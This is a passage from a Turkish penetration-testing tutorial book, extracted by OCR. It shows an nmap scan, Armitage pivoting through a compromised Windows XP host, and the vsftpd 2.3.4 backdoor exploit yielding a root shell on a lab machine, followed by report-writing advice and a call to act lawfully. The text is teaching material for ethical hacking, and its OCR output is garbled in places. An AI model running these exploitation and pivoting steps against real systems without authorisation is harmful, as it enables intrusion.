# nmap -sS -Pn 10.10.20.9

Starting Nmap 6.46 ( http://nmap.org ) at 2014-08-21 21:00
EEST

sendto in send ip packet sd: sendto (5, packet, 44, O,
10.10.20.9, 16) => Operation not permitted

Offending packet: TCP 10.10.20.4:37632 > 10.10.20.9:554 S
ttl=50 id=5175 iplen=44 seq=238715402 win=1024 <mss 1460>

Nmap scan report for 10.10.20.9
Host is up (0.00031s latency).
All 1000 scanned ports on 10.10.20.9 are filtered

MAC Address: 08:00:27:28:49:E4 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 34.16 seconds

Sonraki adimimiz Armitage lizerinden ele gecirdigimiz Windows XP’de ARP
taramasiyla network Uizerindeki IP adreslerini tespit etmek. Windows XP’yi
Armitage Uzerinden ele gegirmeyi zaten isledigimiz igin burada tekrar

etmeyecegiz.



Meterpreter 1
Services
Scan

| Access

‘ Interact

| Explore
Host » | Pivoting

ARP taramasi sonucu asagidaki adreslere ulastik. Gordigunuz gibi
10.10.20.9 adresini de tespit etti. Su durumda 10.10.20.9’a sag tiklayip “Scan”
ile tarama yaptiginizda hicbir sonug getirmeyecek.

10,10.20.5 10,10.20.9 10,10,20.4 10,10,20.2 10.10.20.3 10.10.20.1 10.10,20.255
INT AUTHORITY\SYSTEM @ WIN7DENEME

Sonraki adim Windows XP’ye sag tiklayarak “Pivoting = Setup” ile tespit
edilen diger IP’lere 10.10.20.5 Windows XP Ulzerinden erisimin saglanmasi.

e e—

»,
| r—
om  Meterpreter 1 3
Services

Access

16,10 Interact

S
AUTHORTTY\SYSTE | Explore

Host Pivoting
ARP Scan...

| Remove
Kill

Asagidaki resimde gordigliniz Uzere arada baglanti kurabildiklerini yesil ok

ile isaretledi.



10.10.20.5 10.10.20.9 10.10.20.4 10.10.20.2 10.10.20.3 10.10.20.1 10.10.20.255
NT AUTHORITY\SYSTEM @ WIN7DENEME

Simdi 10.10.20.9’u tekrar taradigimizda artik Linux bir makine oldugunu ve
ilgili acik hizmetleri tespit ettigini gorebiliyoruz.

http
10,10.20.5 10,16, | mysql

NT AUTHORITY\SYSTEM @ WIN7DENEME postgres
smb
ssh
telnet

Sonraki adimimiz 10.10.20.9 seciliyken ist meniden “Attacks = Find
Attacks”i tiklayarak yapilabilecek saldirilari tespit etmek. Bu islemden sonra
asagida gorildugi Gzere Attacks (saldirilar) secenekleri de gelecek.
Metasploitable’da daha 6nce “vsftpd 234 backdoor” ile sizma saglayabilmistik.
Bundan dolayi saldiri tipi olarak bunu secip devam ediyorum.

| e——eme———cc—
Attack >

> -
proftp_sreplace
lgc:a?\:ces > | http > | proftp_telnet_iac
R A * | proftpd 133c backdoor
can misc >
vsftpd_234_backdoor
Host postgres » “Wuftpd site_ewec format
realserver >
R > check exploits...
smtp >
ssh 3
telnet >
webapp >
wyse >



Asagida goruldigu tzere basarih bir sekilde sizma saglandi. Detaylari
inceledigimizde root yetkisiyle erisim saglandigini ve shell agildigini belirtiyor.

msf exploit(vsftpd 234 backdoor) > exploit -j

[*] Exploit running as background job.

[*] Banner: 220 (vsFTPd 2.3.4)

[*] USER: 331 Please specify the password.

[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 2 opened (Local Pipe -> Remote
Pipe) at 2014-08-21 21:14:30 +0300

Ayrica resim de kirmiziya dondu ve etrafinda elektrik isaretleri ¢ikti. Bu,
hedef sistemin ele gecirildigini gdsteriyor.

10.10.20.5 10,10,20.9
NT AUTHORITY\SYSTEM @ WIN7DENEME

Burada basit bir sizma dongusu 6rnegi verdik. Bundan sonraki adiminiz da
yeni ele gecirdiginiz bilgisayar lzerinde tekrar taramalar yaparak baska aglara
atlamak olabilir veya buradan sunucularin oldugu bir aga yol bulabilirsiniz.



Rapor yazma

Geldik bitiin sizma testine nokta koymaya. Rapor yazmanin en sikicl

bolimlerden biri oldugunu itiraf etmeliyim ancak rapor olmadan ne yaptiginizin

hicbir anlami yok. istediginiz kadar miikkemmel bir ¢alisma yapmis olun eger

bunu dogru bir sekilde rapora dékemiyorsaniz ve muisteri anlamiyorsa bunun

hicbir anlami yoktur. Tam tersine iyi bir rapor ise sizin reklaminizdir. Oyleyse iyi

bir rapor yaziminda nelere dikkat etmeliyiz?

1. Yonetici 6zeti: Bu bolimde sizma testinin fotografini verecek ve

yoneticilerin durumu net olarak anlayabilecegi ancak teknik detaylara

girilmeyen bir 6zet hazirlamaniz gerekir. Bu bélimde en 6nemli ve kritik

bulgularin bulunmasi yeterli olacaktir.

2. Detayli rapor: Bu bolimde butin bulgularin detayli agiklamalari 6nem

sirasina gore verilmeli ve ¢6zim yollari anlatiimahldir. Coziimler

anlatilirken sadece ilgili maddeye odaklanilmamali, ayrica kok neden ve

kék nedenin ¢dziimii de anlatilmalidir. Ornek verecek olursak:

Sorun: vsftp yazilimi glincel degil ve shell agilmasina imkan veriyor.
CozUm: Yazilimin glincellenmesi.

Kok neden: Glncelleme politikasi eksikligi, glincelleme yonetim
yazihimlarinin olmamasi.

K6k neden ¢6ziimii: Glincelleme politikalarinin olusturulmasi,
merkezi glincelleme yonetimi sistemlerinin kurulmasi.

3. Teknik detayli icerik: Eger istenirse biitliin detaylariyla 6rnek sizma

senaryolari ve ciktilari saglanmalidir.



OzET

Bu bolimde hedefleri ele gecirdikten sonra neler yapabilecegimizi ve sizma
dongusuyle yeni hedefleri nasil belirleyecegimizi gordik.

ik olarak kalicihgin saglanmasi gerektigini ve arka kapinin Netcat ile nasil
acilabilecegini gordik. Sonrasinda Meterpreter’in arka kapi agma, sifre
hash’lerini toplama, log’lari inceleme ve temizleme, Windows komut satiri
acma gibi bircok 6zelligini ele aldik.

Daha sonra sizma déngustinin ne oldugunu 6rnek vererek anlattik. En son
olarak da rapor yazarken nelere dikkat etmemiz gerektigini adim adim
inceledik.



KAPANIS

Artik sizma testinin ne oldugunu ve biitliin asamalarini 6grendik. Peki, bitln
bunlardan sonra ne yapacagiz ve yolumuza nasil devam edecegiz? Size bu

konuda birkag tavsiyem olacak:

1. Kanunlara uygun ve izinle hareket edin. Biliyorum bunu en basta ve yeri
geldikce defalarca soyledim. Fakat bu maddeye dikkat etmezseniz kariyeriniz
cok kisa zamanda bitebilir. Hapiste kendinizi gelistirmeniz oldukg¢a zor olacaktir.

2. Her zaman 6grenmeye gayret edin. Yenilikleri takip edin. Kendinizi
gelistirmeye calisin. Unutmayin, korsanlar her zaman sirketlerde calisan ve
gunluk islerini yetistirmeye ¢alisan Bilgi Teknolojileri galisanlarindan bes on
adim onde hareket etmektedir. Bu durumda sizin de en az onlar kadar iyi
olmaniz ve kendinizi gelistirmeniz gerekecektir.

3. Asagidaki uygulamalari mimkiin oldugunca detayh 6grenin:
- Nmap
- Netcat
- SQLmap
- Metasploit ve Meterpreter
- Medusa
- John the Ripper

4. Alistirma yapin. Bunun icin De-ICE serisi ve PwnOS Uizerinde ¢alisin. Bu
hedefleri internetten anlatilan ¢dzimlerine bakmadan ele gegirmeye galisin.
Kendinizi biraz zorlayarak dislntp yollar bulmaya calismaniz cok dnemli. Eger
¢ozlimleri hazir olarak inceleyip gecerseniz bu egitim CD’leri size pek bir fayda
saglamayacaktir.



Gayretsiz ve ¢alisma istegi olmayanlar higbir yere varmaz. Beyaz sapkall
korsan olarak basarili olmak icin cok calisip gayret etmeniz gerekecek.
Ogrendikleriniz ne kadar az bildiginizi anlamanizi saglayacak. Hedef, bir menzile
varmak degil ancak yolda geride kalmadan ilerlemek olabilir.

Basarilar,

Mayis 2016

Fuat Ulugay



